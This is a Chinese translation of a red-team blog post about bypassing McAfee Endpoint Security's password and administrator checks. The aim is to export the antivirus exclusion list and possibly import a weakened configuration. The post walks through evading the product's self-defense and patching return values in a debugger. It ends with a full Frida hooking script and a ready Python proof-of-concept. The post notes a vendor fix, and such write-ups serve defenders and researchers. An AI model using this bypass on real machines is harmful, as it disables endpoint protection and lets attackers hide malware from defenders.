我实际上并没有计划撰写此 blog文章。并不是因为文章本身设计到什么密码,而是因为我本人超级懒,这文章还是因为 @fsdominguez 和 _dirkjan 逼迫我写的。
这文章的内容写的是关于我在进行红队任务期间是如何使用 McAfee
工具绕过 McAfee Endpoint Security
。
在以前,每当在任务中遇到 McAfee Virus Scan Enterprise(VSE)
时,我们都会暗自窃喜。因为之前通过注册表查询,可以获取到管理员所设置的排除项。
但是在这次任务中,从眉开眼笑到愁眉不展。这是因为什么呢,是因为它们现在使用的是 McAfee Endpoint Security
。之所以弃用了 VSE
,是因为 McAfee
中有的人觉得最好不要在任何人都能访问到的地方以明文形式存储类似排除项等类似的信息。
通过资料查询验证,McAfee Endpoint Security
会附带一个名为 ESConfigTool
的程序。该程序可用于导入和导出配置文件。它的用法在 这里 有描述。
事实证明,想要从 McAfee Endpoint Security
获取配置(排除项等信息),你只需要:
但是我们都没有,我们下载一个 McAfee Endpoint Security
的 Evaluation
版本进行测试,看看有什么可以利用的
现在,事情变得有些棘手了。我现在的状态大概就像是一个擅长逆向工程的醉酒的猴子 ==》碰运气。因此,我们还是从头开始,看看是否可以利用此工具。首先是创建了三个排除项。
此外,我还启用了密码保护设置。密码为:starwars
此时,我们打开一个管理命令提示符,查看是否可以通过 ESConfigTool
获取其配置信息
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\Export.xml /module TP /unlock starwars /plaintext
Command executed successfully. Please refer to Endpoint Security logs for details
C:\Windows\system32>
让我们打开 XML
,看看其中是否包含所创建的排除项:
<EXCLUSION_ITEMS> <EXCLUSION_ITEM> <EXCLUSION_BY_NAME_OR_LOCATION>C:\Windows\Temp\</EXCLUSION_BY_NAME_OR_LOCATION> <EXCLUSION_FILE_TYPE /> <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE> <EXCLUSION_TYPE>3</EXCLUSION_TYPE> <EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS> <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ> <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE> <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE> </EXCLUSION_ITEM> <EXCLUSION_ITEM> <EXCLUSION_BY_NAME_OR_LOCATION>**\*mimikatz.exe</EXCLUSION_BY_NAME_OR_LOCATION> <EXCLUSION_FILE_TYPE /> <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE> <EXCLUSION_TYPE>3</EXCLUSION_TYPE> <EXCLUSION_EXCLUDE_SUBFOLDERS>0</EXCLUSION_EXCLUDE_SUBFOLDERS> <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ> <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE> <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE> </EXCLUSION_ITEM> <EXCLUSION_ITEM> <EXCLUSION_BY_NAME_OR_LOCATION>C:\TotallyLegit\</EXCLUSION_BY_NAME_OR_LOCATION> <EXCLUSION_FILE_TYPE /> <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE> <EXCLUSION_TYPE>3</EXCLUSION_TYPE> <EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS> <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ> <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE> <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE> </EXCLUSION_ITEM> </EXCLUSION_ITEMS>
嘤嘤嘤!在有管理员权限
及密码
的情况下,它是可以完整获取得配置信息。我们附加一个调试器,看看它是如何工作的。
通常,附加调试器只是打开调试器,选择二进制程序文件以及所需命令参数。但是,由于我们正在处理安全解决方案,因此会有一些其他的障碍,比如:McAfee 的大多数组件都会收到其产品的 “Self-defense”
功能的保护。如果尝试载入Debug,会提示 “Debugging stop”
,并且会在 Self-defense
日志有所提示。
12/10/2019 12:47:09 mfeesp(2204.6392) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.
12/10/2019 12:47:09 mfeesp(2204.5404) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.
如今,通过反复试验,我们发现 "Super 1337, z3r0 d4y, APT-style nation state"
的技术可以绕过自我防御机制。你准备好了吗?
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\admin>mkdir \temp
C:\Users\admin>cd \temp
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll" .
1 file(s) copied.
C:\temp>
黑人感叹号!!!我们此时甚至不需要管理员权限,就可以进行复制操作,完成接下来的调试过程。这无疑是一个巨大的成功,重新添加调试器,就可以等待狂欢:
现在怎么办??
往下走,看看带入不正确的密码会发生什么。也许可以为我们提供一些搜索字符串。
C:\Windows\system32>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\Export.xml /module TP /unlock startrek /plaintext
There were some errors while executing command. Please refer to Endpoint Security logs for details
C:\Windows\system32>
嗯,这个提示很简单。但是 McAfee 日志文件
可以提供更多的信息 :
10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) <admin> ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed
然后将上面获取到的字符串在调试器中进行搜索,看看是否可以找到发生此错误发生的位置。
很好,如果我们将其断点并再次运行,它将达到该断点。然后,如果我们查看在该断点之前发生的情况,我们可以看到对名为 "BLInvokeMethod"
的函数今夕了功能调用,然后进行本例中为执行的跳转。
在这一点上,我们需要选择下一步是怎么走。我们可以
深入研究密码检查功能,了解其工作原理,然后尝试破解绕过。
让密码保护功能运行后,修改其返回值。
显然,我很懒,所以选择了第二项。当输入错误的密码时,密码检查功能会在 RAX 寄存器
中放置一个错误代码:
如果提供了正确的密码,则在 RAX 寄存器
的值为 0。
那么,如果我们提供了不正确的密码,中断了密码检查功能,并将 RAX 寄存器
更改为 0,会发生什么呢?我们试一试:
木得办法!
原来,密码正确与否的检查工作我由工具本身完成的。解密或导出配置并不是真正需要这个密码、这是一个失败的尝试。one to go.
虽然输入错误的密码会给你一种清晰的错误提示信息,但是在没有管理员特权的情况下运行该工具,只会输出 help 信息。
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\user>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\temp\Export.xml /module TP /unlock starwars /plaintext
Description:
Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.
USAGE:
ESConfigTool.exe /export <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/plaintext ]
ESConfigTool.exe /import <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/policyname <name> ]
ESConfigTool.exe /help
C:\Users\user>
日志中也没有任何的内容。
我们如何找出管理员检查的内容?同理,我们以普通用于身份运行调试器,看看会发生什么。原来它是调用了一个函数,对返回值进行比较,如果返回码为 0,则调用 exit
。
如果你遵循此功能,则程序最终将会调用 AllocateAndInitializeSid。同上面绕过密码检查的方案,修改返回码。
深入研究发现,返回值是在这里进行检查的:
尽管这次返回值必须为 0 以外的 任何值
boom,它可以继续进行!!
现在,我们重新尝试,在没有管理员权限,且不知道密码的情况导出 McAfee Endpoint Security
的配置信息。
到此,结果很酷,但是每次手动进行调试、更改等操作都是很痛苦的。幸运的是,我们有 Frida 。对于那些熟悉 Frida 的人,无需掌握 JavaScript 知识以外任何技能,就可以帮你执行所有很酷的操作,例如:挂钩函数和更改值。
但是我们如何将 Frida 注入 McaAfee
?简单,我们使用 frida-server。只需要在运行 McAfee
的机器上启动它,然后使用 Python
进行连接即可:
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\admin>cd \temp
C:\temp>frida-server-12.7.9-windows-x86_64.exe
Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import frida >>> devmgr = frida.get_device_manager() >>> devmgr.add_remote_device('192.168.31.150') Device(id="[email protected]", name="192.168.31.150", type='remote') >>> rdev = frida.get_device('[email protected]') >>> args = [ ... 'ESConfigTool.exe', ... '/export', ... 'frida-export.xml', ... '/module', ... 'ESP', ... '/unlock', ... 'startrek', ... '/plaintext' ... ] >>> pid = rdev.spawn(args) >>> session = rdev.attach(pid) >>> session Session(pid=11168)
我们已连接,可以看到 ESConfigTool.exe
显示正在运行!!!
现在,我们可以将 JavaScript
代码注入到 ESConfigTool
进程中。
本文不会介绍如何创建此脚本,因为本文包含了足够多的信息,以下是完整的脚本
const configBase = Module.findBaseAddress('ESConfigTool.exe'); //const adminCheck = configBase.add(0x5240); //32 const adminCheck = configBase.add(0x5f30); //64 const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod') console.log('[-] Base address is:',configBase); console.log('[-] Admin check is:',adminCheck); console.log('[-] BLInvokeMethod:',BLInvokeMethod); Interceptor.attach(adminCheck, { onEnter: function (args) { console.log('[+] Hooked admin check function'); }, onLeave: function (retval) { console.log('[+] Returning true for admin check'); retval.replace(1); } }); Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log('[+] Hooked BLInvokeMethod function'); }, onLeave: function (retval) { console.log('[+] Patching password check function'); retval.replace(0x0); } });
它确实完成了我们在调试器中手动执行的操作(更改返回值)。让我们注入上述脚本,查看是否起效:
>>> script = """ ... const configBase = Module.findBaseAddress('ESConfigTool.exe'); ... //const adminCheck = configBase.add(0x5240); //32 ... const adminCheck = configBase.add(0x5f30); //64 ... const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod') ... ... console.log('[-] Base address is:',configBase); ... console.log('[-] Admin check is:',adminCheck); ... console.log('[-] BLInvokeMethod:',BLInvokeMethod); ... ... Interceptor.attach(adminCheck, { ... onEnter: function (args) { ... console.log('[+] Hooked admin check function'); ... }, ... onLeave: function (retval) { ... console.log('[+] Returning true for admin check'); ... retval.replace(1); ... } ... }); ... ... Interceptor.attach(BLInvokeMethod, { ... onEnter: function (args) { ... console.log('[+] Hooked BLInvokeMethod function'); ... }, ... onLeave: function (retval) { ... console.log('[+] Patching password check function'); ... retval.replace(0x0); ... } ... }); ... ... """ >>> session.create_script(script).load() [-] Base address is: 0x7ff73ed30000 [-] Admin check is: 0x7ff73ed35f30 [-] BLInvokeMethod: 0x7ffa4d759730 >>> rdev.resume(pid) >>> [+] Hooked admin check function [+] Returning true for admin check [+] Hooked BLInvokeMethod function [+] Patching password check function >>>
当然,它看起来像:
(我知道,我是以 “管理员”的用户身份去运行它的,但是它并没有绕过 UAC,所以它和普通用户权限是一样的)
我们终于找到了排除项的内容,知道了哪些程序是指定排除。由于它可以通过 TCP
进行连接工作,所以我们可以使用 Cobalt Strike Beacon
在我们的红队任务中完成此任务。
及时我们在此文章中只讨论了导出 McAfee
配置信息,但值得一提的是,你也可以利用此方法,导入自己的配置文件。这意味着可以自己添加排除项,更改其他设置,甚至删掉密码保护。
这里有一个要注意的就是 "/plaintext"
参数,这个参数可能有点诡异,有时它其作用,有时又不起作用。也许不同的版本需要不同的功能偏移量,这个得自个儿研究,反正我没有这个烦恼。因为即使 McAfee
不提供带此参数的加密配置,你也可以将该加密配置导入你自己的版本中。
如何配置加密?这个以后再说。在 McAfee PSIRT
那解决问题之前,上述方法应该是属于私密的。
在谈论 McAfee PSIRT
时,他们在 这里 发布了有关此问题的安全公告及修复程序。实际上我并没有测试过它是否完全修复了,因为我懒。
但是我想到了一件事情:如果他们在 ESConfigTool
中对其进行了修复,是否可以利用旧版本的工具作用于新版本的 McAfee Endpoint Protection
?这个谁知道呢。如果你想玩的话,我这已上传了 Python 的 POC 脚本。
#!/usr/bin/env python import frida def get_script(): script = """ const configBase = Module.findBaseAddress('ESConfigTool.exe'); //const adminCheck = configBase.add(0x5240); //32 const adminCheck = configBase.add(0x5f30); //64 const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod') console.log('[-] Base address is:',configBase); console.log('[-] Admin check is:',adminCheck); console.log('[-] BLInvokeMethod:',BLInvokeMethod); Interceptor.attach(adminCheck, { onEnter: function (args) { console.log('[+] Hooked admin check function'); }, onLeave: function (retval) { console.log('[+] Returning true for admin check'); retval.replace(1); } }); Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log('[+] Hooked BLInvokeMethod function'); }, onLeave: function (retval) { console.log('[+] Patching password check function'); retval.replace(0x0); } }); """ return script def main(): args = [ 'ESConfigTool.exe', '/export', 'c:\\tem\\ESP.xml', '/module', 'TP', '/unlock', 'starwars', # This may fail sometimes, not sure why #'/plaintext' ] devmgr = frida.get_device_manager() devmgr.add_remote_device('127.0.0.1') rdev = frida.get_device('[email protected]') pid = rdev.spawn(args) session = rdev.attach(pid) session.create_script(get_script()).load() rdev.resume(pid) input() if __name__ == '__main__': main()